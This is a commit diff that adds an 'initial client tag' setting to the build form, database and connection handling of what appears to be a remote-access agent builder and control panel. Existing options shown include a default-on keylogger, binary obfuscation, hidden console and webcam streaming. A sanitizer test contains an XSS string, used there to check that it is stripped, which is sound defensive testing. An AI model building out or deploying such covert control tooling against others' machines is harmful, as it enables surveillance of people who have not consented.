add auto build tags
This commit is contained in:
@@ -449,6 +449,7 @@ function collectFormSettings() {
|
||||
solAddress: document.getElementById("sol-address")?.value ?? "",
|
||||
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
|
||||
outputName: document.getElementById("output-name")?.value ?? "",
|
||||
initialClientTag: document.getElementById("initial-client-tag")?.value ?? "",
|
||||
iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "",
|
||||
mutex: document.getElementById("mutex")?.value ?? "",
|
||||
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
||||
@@ -515,6 +516,7 @@ function applyFormSettings(settings) {
|
||||
if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress);
|
||||
if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints);
|
||||
if (settings.outputName !== undefined) setVal("output-name", settings.outputName);
|
||||
if (settings.initialClientTag !== undefined) setVal("initial-client-tag", settings.initialClientTag);
|
||||
if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId);
|
||||
if (settings.mutex !== undefined) setVal("mutex", settings.mutex);
|
||||
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
|
||||
@@ -1711,6 +1713,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;
|
||||
|
||||
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
|
||||
const initialClientTagVal = form.querySelector("#initial-client-tag")?.value.trim() || "";
|
||||
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
|
||||
const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
|
||||
const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
|
||||
@@ -1747,6 +1750,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
|
||||
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
|
||||
outputName: outputNameVal || undefined,
|
||||
initialClientTag: initialClientTagVal || undefined,
|
||||
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
||||
garbleTiny: obfuscate ? garbleTiny : undefined,
|
||||
garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
|
||||
|
||||
@@ -405,6 +405,15 @@
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2" for="initial-client-tag">Initial Client Tag</label>
|
||||
<input type="text" id="initial-client-tag" name="initial-client-tag" maxlength="64" placeholder="e.g. Finance, Kiosk Rollout"
|
||||
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
|
||||
<p class="text-xs text-slate-500 mt-1">
|
||||
Optional: new clients from this build get this dashboard tag on first connect.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div id="ios-bundle-id-container" class="hidden">
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2" for="ios-bundle-id">iOS Bundle ID</label>
|
||||
<input type="text" id="ios-bundle-id" name="ios-bundle-id" placeholder="com.overlord.agent (default)"
|
||||
|
||||
@@ -16,6 +16,7 @@ import {
|
||||
listUserClientAccessRules,
|
||||
setUserClientAccessScope,
|
||||
} from "./users";
|
||||
import { sanitizeInitialClientTag } from "./server/build-config-sanitize";
|
||||
|
||||
const createdUserIds: number[] = [];
|
||||
const createdBuildIds: string[] = [];
|
||||
@@ -68,18 +69,29 @@ afterAll(() => {
|
||||
});
|
||||
|
||||
describe("build tag DB operations", () => {
|
||||
test("initial client tag sanitizer removes XSS metacharacters", () => {
|
||||
const payload = ` <img src=x onerror="alert(1)"> & 'bad' \`tag\` = ok `;
|
||||
expect(sanitizeInitialClientTag(payload)).toBe("img srcx onerroralert(1) bad tag ok");
|
||||
expect(sanitizeInitialClientTag("\u0000 Finance\nTeam \u007f")).toBe("Finance Team");
|
||||
expect(sanitizeInitialClientTag("x".repeat(80))).toHaveLength(64);
|
||||
expect(sanitizeInitialClientTag(" ")).toBeUndefined();
|
||||
expect(sanitizeInitialClientTag({ tag: "nope" })).toBeUndefined();
|
||||
});
|
||||
|
||||
test("saveBuild stores buildTag and builtByUserId", async () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
const build = saveTempBuild({
|
||||
buildTag: "test-tag-abc123",
|
||||
builtByUserId: operator.id,
|
||||
initialClientTag: "Finance",
|
||||
});
|
||||
|
||||
const retrieved = getBuild(build.id);
|
||||
expect(retrieved).not.toBeNull();
|
||||
expect(retrieved!.buildTag).toBe("test-tag-abc123");
|
||||
expect(retrieved!.builtByUserId).toBe(operator.id);
|
||||
expect(retrieved!.initialClientTag).toBe("Finance");
|
||||
} finally {
|
||||
cleanupCreatedBuilds();
|
||||
cleanupCreatedUsers();
|
||||
@@ -117,6 +129,7 @@ describe("build tag DB operations", () => {
|
||||
const build = saveTempBuild({
|
||||
buildTag: tag,
|
||||
builtByUserId: operator.id,
|
||||
initialClientTag: "Kiosk Rollout",
|
||||
});
|
||||
|
||||
const all = getAllBuilds();
|
||||
@@ -124,6 +137,7 @@ describe("build tag DB operations", () => {
|
||||
expect(found).not.toBeNull();
|
||||
expect(found!.buildTag).toBe(tag);
|
||||
expect(found!.builtByUserId).toBe(operator.id);
|
||||
expect(found!.initialClientTag).toBe("Kiosk Rollout");
|
||||
} finally {
|
||||
cleanupCreatedBuilds();
|
||||
cleanupCreatedUsers();
|
||||
@@ -136,6 +150,7 @@ describe("build tag DB operations", () => {
|
||||
expect(retrieved).not.toBeNull();
|
||||
expect(retrieved!.buildTag).toBeUndefined();
|
||||
expect(retrieved!.builtByUserId).toBeUndefined();
|
||||
expect(retrieved!.initialClientTag).toBeUndefined();
|
||||
cleanupCreatedBuilds();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1520,13 +1520,14 @@ export interface BuildRecord {
|
||||
}>;
|
||||
buildTag?: string;
|
||||
builtByUserId?: number;
|
||||
initialClientTag?: string;
|
||||
blocked?: boolean;
|
||||
}
|
||||
|
||||
export function saveBuild(build: BuildRecord) {
|
||||
db.run(
|
||||
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)`,
|
||||
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id, initial_client_tag)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
build.id,
|
||||
build.status,
|
||||
build.startTime,
|
||||
@@ -1534,6 +1535,7 @@ export function saveBuild(build: BuildRecord) {
|
||||
JSON.stringify(build.files),
|
||||
build.buildTag || null,
|
||||
build.builtByUserId || null,
|
||||
build.initialClientTag || null,
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1546,6 +1548,7 @@ function mapBuildRow(row: any): BuildRecord {
|
||||
files: JSON.parse(row.files),
|
||||
buildTag: row.build_tag || undefined,
|
||||
builtByUserId: row.built_by_user_id || undefined,
|
||||
initialClientTag: row.initial_client_tag || undefined,
|
||||
blocked: row.blocked === 1,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -338,12 +338,14 @@ db.run(`
|
||||
expires_at INTEGER NOT NULL,
|
||||
files TEXT NOT NULL,
|
||||
build_tag TEXT,
|
||||
built_by_user_id INTEGER
|
||||
built_by_user_id INTEGER,
|
||||
initial_client_tag TEXT
|
||||
);
|
||||
`);
|
||||
|
||||
try { db.run(`ALTER TABLE builds ADD COLUMN build_tag TEXT`); } catch {}
|
||||
try { db.run(`ALTER TABLE builds ADD COLUMN built_by_user_id INTEGER`); } catch {}
|
||||
try { db.run(`ALTER TABLE builds ADD COLUMN initial_client_tag TEXT`); } catch {}
|
||||
try { db.run(`ALTER TABLE builds ADD COLUMN blocked INTEGER NOT NULL DEFAULT 0`); } catch {}
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_builds_build_tag ON builds(build_tag);`);
|
||||
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
const HTML_META_CHARS = /[<>"'`=&]/g;
|
||||
const CONTROL_CHARS = /[\u0000-\u001f\u007f]/g;
|
||||
|
||||
export function sanitizeInitialClientTag(value: unknown): string | undefined {
|
||||
if (typeof value !== "string") return undefined;
|
||||
|
||||
const cleaned = value
|
||||
.replace(CONTROL_CHARS, " ")
|
||||
.replace(HTML_META_CHARS, "")
|
||||
.replace(/\s+/g, " ")
|
||||
.trim()
|
||||
.slice(0, 64);
|
||||
|
||||
return cleaned || undefined;
|
||||
}
|
||||
@@ -94,6 +94,7 @@ type BuildProcessConfig = {
|
||||
enableWebrtc?: boolean;
|
||||
enableWinRE?: boolean;
|
||||
builtByUserId?: number;
|
||||
initialClientTag?: string;
|
||||
outputName?: string;
|
||||
garbleLiterals?: boolean;
|
||||
garbleTiny?: boolean;
|
||||
@@ -2084,6 +2085,7 @@ func runBoundFiles() {
|
||||
files: build.files as any,
|
||||
buildTag,
|
||||
builtByUserId: config.builtByUserId,
|
||||
initialClientTag: config.initialClientTag,
|
||||
});
|
||||
|
||||
setTimeout(() => {
|
||||
|
||||
@@ -28,6 +28,7 @@ import fs from "fs";
|
||||
import { resolveRuntimeRoot } from "../runtime-paths";
|
||||
import { createUploadPull } from "../file-transfer-state";
|
||||
import { handleBuildProfileRoutes } from "./build-profile-routes";
|
||||
import { sanitizeInitialClientTag } from "../build-config-sanitize";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
@@ -205,6 +206,7 @@ export async function handleBuildRoutes(
|
||||
outputSgnTxt,
|
||||
fetchPublicIP,
|
||||
uploadToFileShare,
|
||||
initialClientTag,
|
||||
buildPlugins,
|
||||
} = body;
|
||||
|
||||
@@ -460,6 +462,8 @@ export async function handleBuildRoutes(
|
||||
);
|
||||
}
|
||||
|
||||
const safeInitialClientTag = sanitizeInitialClientTag(initialClientTag);
|
||||
|
||||
const rateLimitActive = getConfig().registration.mode !== "off";
|
||||
if (rateLimitActive) recordBuildStart(user.userId);
|
||||
|
||||
@@ -481,6 +485,7 @@ export async function handleBuildRoutes(
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
builtByUserId: user.userId,
|
||||
initialClientTag: safeInitialClientTag,
|
||||
outputName: safeOutputName,
|
||||
garbleLiterals: !!garbleLiterals,
|
||||
garbleTiny: !!garbleTiny,
|
||||
|
||||
@@ -9,7 +9,7 @@ async function getGeoip() {
|
||||
}
|
||||
import { logAudit, AuditAction } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { clientExists, setOnlineState, setOfflineStates, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag, computeClientSuspiciousFlags, type OfflineStateUpdate } from "../../db";
|
||||
import { clientExists, setOnlineState, setOfflineStates, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuild, getBuildByTag, computeClientSuspiciousFlags, type OfflineStateUpdate } from "../../db";
|
||||
import { getConfig } from "../../config";
|
||||
import { logger } from "../../logger";
|
||||
import { metrics } from "../../metrics";
|
||||
@@ -467,6 +467,7 @@ export async function handleWebSocketMessage(
|
||||
|
||||
let resolvedBuildId: string | null = null;
|
||||
let builtByUserId: number | undefined;
|
||||
let initialClientTag: string | undefined;
|
||||
let isRevoked = false;
|
||||
|
||||
if (buildTag) {
|
||||
@@ -474,12 +475,20 @@ export async function handleWebSocketMessage(
|
||||
if (verified) {
|
||||
resolvedBuildId = verified.bid;
|
||||
builtByUserId = verified.uid ?? undefined;
|
||||
const build = getBuild(verified.bid);
|
||||
if (build) {
|
||||
builtByUserId = build.builtByUserId ?? builtByUserId;
|
||||
initialClientTag = build.initialClientTag;
|
||||
isRevoked = !!build.blocked || isBuildBanned(verified.bid);
|
||||
} else {
|
||||
isRevoked = isBuildBanned(verified.bid);
|
||||
}
|
||||
} else {
|
||||
const build = getBuildByTag(buildTag);
|
||||
if (build) {
|
||||
resolvedBuildId = build.id;
|
||||
builtByUserId = build.builtByUserId;
|
||||
initialClientTag = build.initialClientTag;
|
||||
isRevoked = !!build.blocked || isBuildBanned(build.id);
|
||||
}
|
||||
}
|
||||
@@ -541,6 +550,7 @@ export async function handleWebSocketMessage(
|
||||
const geo = ip ? geoip.lookup(ip) : undefined;
|
||||
const countryRaw = geo?.country || (payload as any).country || "ZZ";
|
||||
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
|
||||
const initialTagForNewClient = existing || clientExists(resolvedId) ? undefined : initialClientTag;
|
||||
|
||||
const _s = (v: unknown, max = 256): string | undefined => {
|
||||
if (typeof v !== "string") return undefined;
|
||||
@@ -576,6 +586,7 @@ export async function handleWebSocketMessage(
|
||||
enrollmentStatus: "pending",
|
||||
buildTag: buildTag || undefined,
|
||||
builtByUserId,
|
||||
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
|
||||
});
|
||||
|
||||
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
|
||||
@@ -633,7 +644,9 @@ export async function handleWebSocketMessage(
|
||||
deps.webcamStreamingState.delete(resolvedId);
|
||||
}
|
||||
|
||||
ws.data.wasKnown = clientExists(resolvedId);
|
||||
const wasKnown = clientExists(resolvedId);
|
||||
ws.data.wasKnown = wasKnown;
|
||||
const initialTagForNewClient = wasKnown ? undefined : initialClientTag;
|
||||
|
||||
const infoObj: ClientInfo = {
|
||||
id: resolvedId,
|
||||
@@ -646,6 +659,7 @@ export async function handleWebSocketMessage(
|
||||
publicKey,
|
||||
keyFingerprint,
|
||||
enrollmentStatus: "approved" as any,
|
||||
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
|
||||
};
|
||||
clientManager.addClient(resolvedId, infoObj);
|
||||
|
||||
@@ -656,6 +670,7 @@ export async function handleWebSocketMessage(
|
||||
enrollmentStatus: "approved",
|
||||
buildTag: buildTag || undefined,
|
||||
builtByUserId,
|
||||
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
|
||||
online: 1 as any,
|
||||
lastSeen: Date.now(),
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user